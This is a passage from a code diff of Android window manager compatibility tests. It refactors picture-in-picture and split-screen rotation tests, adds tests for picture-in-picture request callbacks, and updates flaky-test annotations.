- Rect db = wmState1.getDefaultPinnedStackBounds();
- Rect sb = wmState1.getStableBounds();
- return (db.width() > 0 && db.height() > 0) &&
- (sb.contains(db));
- }, "Waiting for valid bounds...");
- wmState = mAmWmState.getWmState();
- wmState.computeState();
- defaultPipBounds = wmState.getDefaultPinnedStackBounds();
- stableBounds = wmState.getStableBounds();
- assertTrue(defaultPipBounds.width() > 0 && defaultPipBounds.height() > 0);
- assertTrue(stableBounds.contains(defaultPipBounds));
- }
+ rotationSession.set(ROTATION_90);
+ waitForValidPinnedStackBounds(WindowManagerState::getDefaultPinnedStackBounds);
+ wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ defaultPipBounds = wmState.getDefaultPinnedStackBounds();
+ stableBounds = wmState.getStableBounds();
+ assertTrue(defaultPipBounds.width() > 0 && defaultPipBounds.height() > 0);
+ assertTrue(stableBounds.contains(defaultPipBounds));
}
@Test
- public void testPinnedStackMovementBounds() throws Exception {
+ public void testPinnedStackMovementBounds() {
// Launch a PIP activity
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
// Wait for animation complete since we are comparing bounds
waitForEnterPipAnimationComplete(PIP_ACTIVITY);
- try (final RotationSession rotationSession = new RotationSession()) {
- rotationSession.set(ROTATION_0);
- mAmWmState.waitForWithWmState((wmState1) -> {
- Rect db = wmState1.getPinnedStackMovementBounds();
- Rect sb = wmState1.getStableBounds();
- return (db.width() > 0 && db.height() > 0) &&
- (sb.contains(db));
- }, "Waiting for valid bounds...");
- WindowManagerState wmState = mAmWmState.getWmState();
- wmState.computeState();
- Rect pipMovementBounds = wmState.getPinnedStackMovementBounds();
- Rect stableBounds = wmState.getStableBounds();
- assertTrue(pipMovementBounds.width() > 0 && pipMovementBounds.height() > 0);
- assertTrue(stableBounds.contains(pipMovementBounds));
+ final RotationSession rotationSession = createManagedRotationSession();
+ rotationSession.set(ROTATION_0);
+ waitForValidPinnedStackBounds(WindowManagerState::getPinnedStackMovementBounds);
+ WindowManagerState wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ Rect pipMovementBounds = wmState.getPinnedStackMovementBounds();
+ Rect stableBounds = wmState.getStableBounds();
+ assertTrue(pipMovementBounds.width() > 0 && pipMovementBounds.height() > 0);
+ assertTrue(stableBounds.contains(pipMovementBounds));
- rotationSession.set(ROTATION_90);
- mAmWmState.waitForWithWmState((wmState1) -> {
- Rect db = wmState1.getPinnedStackMovementBounds();
- Rect sb = wmState1.getStableBounds();
- return (db.width() > 0 && db.height() > 0) &&
- (sb.contains(db));
- }, "Waiting for valid bounds...");
- wmState = mAmWmState.getWmState();
- wmState.computeState();
- pipMovementBounds = wmState.getPinnedStackMovementBounds();
- stableBounds = wmState.getStableBounds();
- assertTrue(pipMovementBounds.width() > 0 && pipMovementBounds.height() > 0);
- assertTrue(stableBounds.contains(pipMovementBounds));
- }
+ rotationSession.set(ROTATION_90);
+ waitForValidPinnedStackBounds(WindowManagerState::getPinnedStackMovementBounds);
+ wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ pipMovementBounds = wmState.getPinnedStackMovementBounds();
+ stableBounds = wmState.getStableBounds();
+ assertTrue(pipMovementBounds.width() > 0 && pipMovementBounds.height() > 0);
+ assertTrue(stableBounds.contains(pipMovementBounds));
+ }
+
+ private void waitForValidPinnedStackBounds(Function<WindowManagerState, Rect> boundsFunc) {
+ mAmWmState.waitForWithWmState(wmState -> {
+ final Rect bounds = boundsFunc.apply(wmState);
+ final Rect displayStableBounds = wmState.getStableBounds();
+ return bounds.width() > 0 && bounds.height() > 0
+ && displayStableBounds.contains(bounds);
+ }, "valid pinned stack bounds");
}
@Test
- @FlakyTest // TODO: Reintroduce to presubmit once b/71508234 is resolved.
public void testPinnedStackOutOfBoundsInsetsNonNegative() throws Exception {
final WindowManagerState wmState = mAmWmState.getWmState();
@@ -302,7 +293,7 @@
final int stackId = getPinnedStack().mStackId;
final int top = 0;
final int left = displayRect.width() - 200;
- resizeStack(stackId, left, top, left + 500, top + 500);
+ resizePinnedStack(stackId, left, top, left + 500, top + 500);
// Ensure that the surface insets are not negative
windowState = getWindowState(PIP_ACTIVITY);
@@ -314,7 +305,7 @@
}
@Test
- public void testPinnedStackInBoundsAfterRotation() throws Exception {
+ public void testPinnedStackInBoundsAfterRotation() {
// Launch an activity into the pinned stack
launchActivity(PIP_ACTIVITY,
EXTRA_ENTER_PIP, "true",
@@ -323,16 +314,15 @@
waitForEnterPipAnimationComplete(PIP_ACTIVITY);
// Ensure that the PIP stack is fully visible in each orientation
- try (final RotationSession rotationSession = new RotationSession()) {
- rotationSession.set(ROTATION_0);
- assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
- rotationSession.set(ROTATION_90);
- assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
- rotationSession.set(ROTATION_180);
- assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
- rotationSession.set(ROTATION_270);
- assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
- }
+ final RotationSession rotationSession = createManagedRotationSession();
+ rotationSession.set(ROTATION_0);
+ assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+ rotationSession.set(ROTATION_90);
+ assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+ rotationSession.set(ROTATION_180);
+ assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+ rotationSession.set(ROTATION_270);
+ assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
}
@Test
@@ -481,6 +471,75 @@
}
@Test
+ public void testAutoEnterPictureInPictureOnUserLeaveHintWhenPipRequestedNotOverridden()
+ throws Exception {
+ // Launch a test activity so that we're not over home
+ launchActivity(TEST_ACTIVITY);
+
+ // Launch the PIP activity that enters PIP on user leave hint, not on PIP requested
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT, "true");
+ assertPinnedStackDoesNotExist();
+
+ // Go home and ensure that there is a pinned stack
+ separateTestJournal();
+ launchHomeActivity();
+ waitForEnterPip(PIP_ACTIVITY);
+ assertPinnedStackExists();
+
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY);
+ // Check that onPictureInPictureRequested was called to try to enter pip from there
+ assertEquals("onPictureInPictureRequested", 1,
+ lifecycleCounts.getCount(ActivityCallback.ON_PICTURE_IN_PICTURE_REQUESTED));
+ // Check that onPause + onUserLeaveHint were called only once. These assertions verify that
+ // onPictureInPictureRequested doesn't attempt to trigger these callbacks because going
+ // home is already causing them to be called
+ assertEquals("onPause", 1, lifecycleCounts.getCount(ActivityCallback.ON_PAUSE));
+ assertEquals("onUserLeaveHint", 1,
+ lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+
+ final int lastUserLeaveHintIndex =
+ lifecycleCounts.getLastIndex(ActivityCallback.ON_USER_LEAVE_HINT);
+ final int lastPipRequestedIndex =
+ lifecycleCounts.getLastIndex(ActivityCallback.ON_PICTURE_IN_PICTURE_REQUESTED);
+ // Check that onPictureInPictureRequested was called first and onUserLeaveHint after
+ assertThat(lastPipRequestedIndex, lessThan(lastUserLeaveHintIndex));
+ }
+
+ @Test
+ public void testAutoEnterPictureInPictureOnPictureInPictureRequested() throws Exception {
+ // Launch a test activity so that we're not over home
+ launchActivity(TEST_ACTIVITY);
+
+ // Launch the PIP activity on pip requested
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PIP_REQUESTED, "true");
+ assertPinnedStackDoesNotExist();
+
+ // Call onPictureInPictureRequested and verify activity enters pip
+ separateTestJournal();
+ mBroadcastActionTrigger.doAction(ACTION_ON_PIP_REQUESTED);
+ waitForEnterPip(PIP_ACTIVITY);
+ assertPinnedStackExists();
+
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY);
+ // Check that onPictureInPictureRequested was called
+ assertEquals("onPictureInPictureRequested", 1,
+ lifecycleCounts.getCount(ActivityCallback.ON_PICTURE_IN_PICTURE_REQUESTED));
+ // Verify that cycling through userLeaveHint was not necessary since the activity overrode
+ // onPictureInPictureRequested and entered PIP mode from there
+ assertEquals("onUserLeaveHint", 0,
+ lifecycleCounts.getCount(ActivityCallback.ON_USER_LEAVE_HINT));
+ // Verify onPause does get called when the activity eventually enters PIP mode
+ assertEquals("onPause", 1, lifecycleCounts.getCount(ActivityCallback.ON_PAUSE));
+
+ final int lastOnPauseIndex =
+ lifecycleCounts.getLastIndex(ActivityCallback.ON_PAUSE);
+ final int lastPipRequestedIndex =
+ lifecycleCounts.getLastIndex(ActivityCallback.ON_PICTURE_IN_PICTURE_REQUESTED);
+ // Check that onPictureInPictureRequested was called first and onPause after
+ assertThat(lastPipRequestedIndex, lessThan(lastOnPauseIndex));
+ }
+
+ @Test
public void testAutoEnterPictureInPictureLaunchActivity() throws Exception {
// Launch a test activity so that we're not over home
launchActivity(TEST_ACTIVITY);
@@ -640,7 +699,6 @@
WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
}
- @FlakyTest(bugId = 70746098)
@Test
public void testRemovePipWithHiddenFullscreenStack() throws Exception {
// Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
@@ -675,7 +733,6 @@
WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
}
- @FlakyTest(bugId = 70906499)
@Test
public void testMovePipToBackWithVisibleFullscreenStack() throws Exception {
// Launch a fullscreen activity, and a pip activity over that
@@ -691,7 +748,6 @@
WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
}
- @FlakyTest(bugId = 70906499)
@Test
public void testMovePipToBackWithHiddenFullscreenStack() throws Exception {
// Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
@@ -816,6 +872,9 @@
SystemUtil.runWithShellPermissionIdentity(() -> {
try {
mAtm.startSystemLockTaskMode(task.mTaskId);
+ waitForOrFail("Task in lock mode", () -> {
+ return mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE;
+ });
mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
waitForEnterPip(PIP_ACTIVITY);
assertPinnedStackDoesNotExist();
@@ -827,7 +886,7 @@
});
}
- @FlakyTest(bugId = 70328524)
+ @FlakyTest(bugId = 142282126)
@Test
public void testConfigurationChangeOrderDuringTransition() throws Exception {
// Launch a PiP activity and ensure configuration change only happened once, and that the
@@ -857,7 +916,7 @@
}
@Override
- public void close() throws Exception {
+ public void close() {
// Wait for the restored setting to apply before we continue on with the next test
final CountDownLatch waitLock = new CountDownLatch(1);
final Context context = getInstrumentation().getTargetContext();
@@ -869,44 +928,44 @@
}
});
super.close();
- if (!waitLock.await(2, TimeUnit.SECONDS)) {
- Log.i(TAG, "TransitionAnimationScaleSession value not restored");
- }
+ try {
+ if (!waitLock.await(2, TimeUnit.SECONDS)) {
+ Log.i(TAG, "TransitionAnimationScaleSession value not restored");
+ }
+ } catch (InterruptedException impossible) {}
}
}
@Test
- public void testEnterPipInterruptedCallbacks() throws Exception {
- try (final TransitionAnimationScaleSession transitionAnimationScaleSession =
- new TransitionAnimationScaleSession()) {
- // Slow down the transition animations for this test
- transitionAnimationScaleSession.set(20f);
+ public void testEnterPipInterruptedCallbacks() {
+ final TransitionAnimationScaleSession transitionAnimationScaleSession =
+ mObjectTracker.manage(new TransitionAnimationScaleSession());
+ // Slow down the transition animations for this test
+ transitionAnimationScaleSession.set(20f);
- // Launch a PiP activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- // Wait until the PiP activity has moved into the pinned stack (happens before the
- // transition has started)
- waitForEnterPip(PIP_ACTIVITY);
- assertPinnedStackExists();
+ // Launch a PiP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ // Wait until the PiP activity has moved into the pinned stack (happens before the
+ // transition has started)
+ waitForEnterPip(PIP_ACTIVITY);
+ assertPinnedStackExists();
- // Relaunch the PiP activity back into fullscreen
- separateTestJournal();
- launchActivity(PIP_ACTIVITY);
- // Wait until the PiP activity is reparented into the fullscreen stack (happens after
- // the transition has finished)
- waitForExitPipToFullscreen(PIP_ACTIVITY);
+ // Relaunch the PiP activity back into fullscreen
+ separateTestJournal();
+ launchActivity(PIP_ACTIVITY);
+ // Wait until the PiP activity is reparented into the fullscreen stack (happens after
+ // the transition has finished)
+ waitForExitPipToFullscreen(PIP_ACTIVITY);
- // Ensure that we get the callbacks indicating that PiP/MW mode was cancelled, but no
- // configuration change (since none was sent)
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
- PIP_ACTIVITY);
- assertEquals("onConfigurationChanged", 0,
- lifecycleCounts.getCount(ActivityCallback.ON_CONFIGURATION_CHANGED));
- assertEquals("onPictureInPictureModeChanged", 1,
- lifecycleCounts.getCount(ActivityCallback.ON_PICTURE_IN_PICTURE_MODE_CHANGED));
- assertEquals("onMultiWindowModeChanged", 1,
- lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
- }
+ // Ensure that we get the callbacks indicating that PiP/MW mode was cancelled, but no
+ // configuration change (since none was sent)
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY);
+ assertEquals("onConfigurationChanged", 0,
+ lifecycleCounts.getCount(ActivityCallback.ON_CONFIGURATION_CHANGED));
+ assertEquals("onPictureInPictureModeChanged", 1,
+ lifecycleCounts.getCount(ActivityCallback.ON_PICTURE_IN_PICTURE_MODE_CHANGED));
+ assertEquals("onMultiWindowModeChanged", 1,
+ lifecycleCounts.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED));
}
@Test
@@ -1024,7 +1083,8 @@
// got resumed.
separateTestJournal();
SystemUtil.runWithShellPermissionIdentity(
- () -> mAtm.resizeStack(stackId, new Rect(20, 20, 500, 500), true /* animate */));
+ () -> mAtm.resizePinnedStack(stackId, new Rect(20, 20, 500, 500),
+ true /* animate */));
mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
mAmWmState.waitFor((amState, wmState) ->
!amState.containsActivity(TRANSLUCENT_TEST_ACTIVITY),
@@ -1035,6 +1095,7 @@
}
@Test
+ @FlakyTest(bugId = 139111392)
public void testPinnedStackWithDockedStack() throws Exception {
assumeTrue(supportsSplitScreenMultiWindow());
@@ -1145,7 +1206,6 @@
}
/** Test that reported display size corresponds to fullscreen after exiting PiP. */
- @FlakyTest
@Test
public void testDisplayMetricsPinUnpin() throws Exception {
separateTestJournal();
@@ -1180,6 +1240,7 @@
finalAppSize);
}
+ @FlakyTest(bugId = 145133340)
@Test
public void testEnterPictureInPictureSavePosition() throws Exception {
// Ensure we have static shelf offset by running this test over a non-home activity
@@ -1228,7 +1289,6 @@
}
@Test
- @FlakyTest(bugId = 71792368)
public void testEnterPictureInPictureDiscardSavedPositionOnFinish() throws Exception {
// Ensure we have static shelf offset by running this test over a non-home activity
launchActivity(NO_RELAUNCH_ACTIVITY);
@@ -1278,7 +1338,7 @@
} else {
offsetBoundsOut.offset(0, -offsetY);
}
- resizeStack(stack.mStackId, offsetBoundsOut.left, offsetBoundsOut.top,
+ resizePinnedStack(stack.mStackId, offsetBoundsOut.left, offsetBoundsOut.top,
offsetBoundsOut.right, offsetBoundsOut.bottom);
}
@@ -1413,7 +1473,7 @@
mAmWmState.waitFor((amState, wmState) -> {
WindowStack stack = wmState.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
return stack != null && !stack.mAnimatingBounds;
- }, "Waiting for pinned stack bounds animation to finish");
+ }, "pinned stack bounds animation to finish");
}
/**
@@ -1423,7 +1483,7 @@
mAmWmState.waitFor((amState, wmState) -> {
return !amState.containsStack(WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD)
&& !wmState.containsStack(WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
- }, "Waiting for pinned stack to be removed...");
+ }, "pinned stack to be removed");
}
/**
@@ -1445,7 +1505,7 @@
return lifecycles.getCount(ActivityCallback.ON_CONFIGURATION_CHANGED) == 1
&& lifecycles.getCount(ActivityCallback.ON_PICTURE_IN_PICTURE_MODE_CHANGED) == 1
&& lifecycles.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED) == 1;
- }, "Waiting for picture-in-picture activity callbacks...");
+ }, "picture-in-picture activity callbacks...");
}
private void waitForValidAspectRatio(int num, int denom) {
@@ -1454,7 +1514,7 @@
mAmWmState.waitForWithAmState((state) -> {
Rect bounds = state.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED).getBounds();
return floatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
- }, "waitForValidAspectRatio");
+ }, "valid aspect ratio");
}
/**
@@ -1502,7 +1562,7 @@
Rect pinnedStackBounds = getPinnedStackBounds();
int tapX = pinnedStackBounds.left + pinnedStackBounds.width() - 100;
int tapY = pinnedStackBounds.top + pinnedStackBounds.height() - 100;
- tapOnDisplay(tapX, tapY, DEFAULT_DISPLAY);
+ tapOnDisplaySync(tapX, tapY, DEFAULT_DISPLAY);
}
/**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PrereleaseSdkTest.java b/tests/framework/base/windowmanager/src/android/server/wm/PrereleaseSdkTest.java
index 4747e49..8816bb5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PrereleaseSdkTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PrereleaseSdkTest.java
@@ -48,10 +48,7 @@
}
@After
- @Override
- public void tearDown() throws Exception {
- super.tearDown();
-
+ public void tearDown() {
// Ensure app process is stopped.
stopTestPackage(MAIN_ACTIVITY.getPackageName());
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 2dfd254..56f7e0b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -26,7 +26,6 @@
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
import static android.server.wm.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
import static android.server.wm.app.Components.DOCKED_ACTIVITY;
import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
@@ -70,6 +69,7 @@
* atest CtsWindowManagerDeviceTestCases:SplitScreenTests
*/
@Presubmit
+@android.server.wm.annotation.Group2
public class SplitScreenTests extends ActivityManagerTestBase {
private static final int TASK_SIZE = 600;
@@ -96,7 +96,6 @@
}
@Test
- @FlakyTest(bugId = 71792393)
public void testStackList() throws Exception {
launchActivity(TEST_ACTIVITY);
mAmWmState.computeState(TEST_ACTIVITY);
@@ -118,7 +117,6 @@
}
@Test
- @FlakyTest(bugId = 131005232)
public void testNonResizeableNotDocked() throws Exception {
launchActivityInSplitScreenWithRecents(NON_RESIZEABLE_ACTIVITY);
@@ -161,7 +159,6 @@
}
@Test
- @FlakyTest(bugId = 72956284)
public void testNoUserLeaveHintOnMultiWindowModeChanged() throws Exception {
launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
@@ -223,7 +220,6 @@
}
@Test
- @FlakyTest(bugId = 71792393)
public void testLaunchToSideMultiple() throws Exception {
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
@@ -249,7 +245,6 @@
}
@Test
- @FlakyTest(bugId = 73808815)
public void testLaunchToSideSingleInstance() throws Exception {
launchTargetToSide(SINGLE_INSTANCE_ACTIVITY, false);
}
@@ -259,7 +254,6 @@
launchTargetToSide(SINGLE_TASK_ACTIVITY, false);
}
- @FlakyTest(bugId = 71792393)
@Test
public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
launchTargetToSide(TEST_ACTIVITY, true);
@@ -275,7 +269,7 @@
// Move to split-screen primary
final int taskId = mAmWmState.getAmState().getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
- moveTaskToPrimarySplitScreen(taskId, true /* showRecents */);
+ moveTaskToPrimarySplitScreen(taskId, true /* showSideActivity */);
// Launch target to side
final LaunchActivityBuilder targetActivityLauncher = getLaunchActivityBuilder()
@@ -359,7 +353,7 @@
}
@Test
- public void testRotationWhenDocked() throws Exception {
+ public void testRotationWhenDocked() {
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
@@ -370,28 +364,27 @@
// Rotate device single steps (90°) 0-1-2-3.
// Each time we compute the state we implicitly assert valid bounds.
- try (final RotationSession rotationSession = new RotationSession()) {
- for (int i = 0; i < 4; i++) {
- rotationSession.set(i);
- mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- }
- // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for
- // double step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
- rotationSession.set(ROTATION_90);
- mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- rotationSession.set(ROTATION_270);
- mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- rotationSession.set(ROTATION_0);
- mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- rotationSession.set(ROTATION_180);
- mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- rotationSession.set(ROTATION_0);
+ final RotationSession rotationSession = createManagedRotationSession();
+ for (int i = 0; i < 4; i++) {
+ rotationSession.set(i);
mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
}
+ // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for
+ // double step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
+ rotationSession.set(ROTATION_90);
+ mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
+ rotationSession.set(ROTATION_270);
+ mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
+ rotationSession.set(ROTATION_0);
+ mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
+ rotationSession.set(ROTATION_180);
+ mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
+ rotationSession.set(ROTATION_0);
+ mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
}
@Test
- public void testRotationWhenDockedWhileLocked() throws Exception {
+ public void testRotationWhenDockedWhileLocked() {
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
@@ -401,104 +394,97 @@
mAmWmState.assertContainsStack("Must contain docked stack.",
WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- try (final RotationSession rotationSession = new RotationSession();
- final LockScreenSession lockScreenSession = new LockScreenSession()) {
- for (int i = 0; i < 4; i++) {
- lockScreenSession.sleepDevice();
- rotationSession.set(i);
- lockScreenSession.wakeUpDevice()
- .unlockDevice();
- mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
- }
+ final RotationSession rotationSession = createManagedRotationSession();
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ for (int i = 0; i < 4; i++) {
+ lockScreenSession.sleepDevice();
+ // The display may not be rotated while device is locked.
+ rotationSession.set(i, false /* waitDeviceRotation */);
+ lockScreenSession.wakeUpDevice()
+ .unlockDevice();
+ mAmWmState.computeState(LAUNCHING_ACTIVITY, TEST_ACTIVITY);
}
}
@Test
- @FlakyTest
- public void testMinimizedFromEachDockedSide() throws Exception {
- try (final RotationSession rotationSession = new RotationSession()) {
- for (int i = 0; i < 2; i++) {
- rotationSession.set(i);
- launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
- if (!mAmWmState.isScreenPortrait() && isTablet()) {
- // Test minimize to the right only on tablets in landscape
- removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
- launchActivityInDockStackAndMinimize(TEST_ACTIVITY,
- SPLIT_SCREEN_CREATE_MODE_BOTTOM_OR_RIGHT);
- }
+ public void testMinimizedFromEachDockedSide() {
+ final RotationSession rotationSession = createManagedRotationSession();
+ for (int i = 0; i < 2; i++) {
+ rotationSession.set(i);
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
+ if (!mAmWmState.isScreenPortrait() && isTablet()) {
+ // Test minimize to the right only on tablets in landscape
removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY,
+ SPLIT_SCREEN_CREATE_MODE_BOTTOM_OR_RIGHT);
}
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
}
}
@Test
- @FlakyTest(bugId = 131005232)
- public void testRotationWhileDockMinimized() throws Exception {
+ public void testRotationWhileDockMinimized() {
launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
// Rotate device single steps (90°) 0-1-2-3.
// Each time we compute the state we implicitly assert valid bounds in minimized mode.
- try (final RotationSession rotationSession = new RotationSession()) {
- for (int i = 0; i < 4; i++) {
- rotationSession.set(i);
- mAmWmState.computeState(TEST_ACTIVITY);
- }
-
- // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for
- // double step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side in
- // minimized mode.
- rotationSession.set(ROTATION_90);
- mAmWmState.computeState(TEST_ACTIVITY);
- rotationSession.set(ROTATION_270);
- mAmWmState.computeState(TEST_ACTIVITY);
- rotationSession.set(ROTATION_0);
- mAmWmState.computeState(TEST_ACTIVITY);
- rotationSession.set(ROTATION_180);
- mAmWmState.computeState(TEST_ACTIVITY);
- rotationSession.set(ROTATION_0);
+ final RotationSession rotationSession = createManagedRotationSession();
+ for (int i = 0; i < 4; i++) {
+ rotationSession.set(i);
mAmWmState.computeState(TEST_ACTIVITY);
}
+
+ // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for
+ // double step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side in
+ // minimized mode.
+ rotationSession.set(ROTATION_90);
+ mAmWmState.computeState(TEST_ACTIVITY);
+ rotationSession.set(ROTATION_270);
+ mAmWmState.computeState(TEST_ACTIVITY);
+ rotationSession.set(ROTATION_0);
+ mAmWmState.computeState(TEST_ACTIVITY);
+ rotationSession.set(ROTATION_180);
+ mAmWmState.computeState(TEST_ACTIVITY);
+ rotationSession.set(ROTATION_0);
+ mAmWmState.computeState(TEST_ACTIVITY);
}
@Test
- @FlakyTest(bugId = 131005232)
- public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
+ public void testMinimizeAndUnminimizeThenGoingHome() {
// Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
// going home has the correct app transition
- try (final RotationSession rotationSession = new RotationSession()) {
- for (int rotation = ROTATION_0; rotation <= ROTATION_270; rotation++) {
- rotationSession.set(rotation);
- launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY);
+ final RotationSession rotationSession = createManagedRotationSession();
+ for (int rotation = ROTATION_0; rotation <= ROTATION_270; rotation++) {
+ launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY);
+ // Set rotation after docked stack exists so the display can be rotated (home may
+ // be fixed-orientation if it is fullscreen).
+ rotationSession.set(rotation);
- if (mIsHomeRecentsComponent) {
- launchActivity(TEST_ACTIVITY,
- WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
- } else {
- // Unminimize the docked stack
- pressAppSwitchButtonAndWaitForRecents();
- waitForDockNotMinimized();
- assertDockNotMinimized();
- }
-
- // Dismiss the dock stack
- setActivityTaskWindowingMode(DOCKED_ACTIVITY,
- WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
- mAmWmState.computeState(DOCKED_ACTIVITY);
-
- // Go home and check the app transition
- assertNotEquals(TRANSIT_WALLPAPER_OPEN,
- mAmWmState.getWmState().getDefaultDisplayLastTransition());
- pressHomeButton();
- mAmWmState.waitForHomeActivityVisible();
- mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-
- assertEquals(TRANSIT_WALLPAPER_OPEN,
- mAmWmState.getWmState().getDefaultDisplayLastTransition());
+ if (mIsHomeRecentsComponent) {
+ launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ } else {
+ // Unminimize the docked stack
+ pressAppSwitchButtonAndWaitForRecents();
+ waitForDockNotMinimized();
+ assertDockNotMinimized();
}
+
+ // Dismiss the dock stack
+ setActivityTaskWindowingMode(DOCKED_ACTIVITY,
+ WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(DOCKED_ACTIVITY);
+
+ // Go home and check the app transition
+ assertNotEquals(TRANSIT_WALLPAPER_OPEN,
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
+ launchHomeActivity();
+ mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+
+ assertEquals(TRANSIT_WALLPAPER_OPEN,
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
}
}
- @FlakyTest(bugId = 73813034)
@Test
public void testFinishDockActivityWhileMinimized() throws Exception {
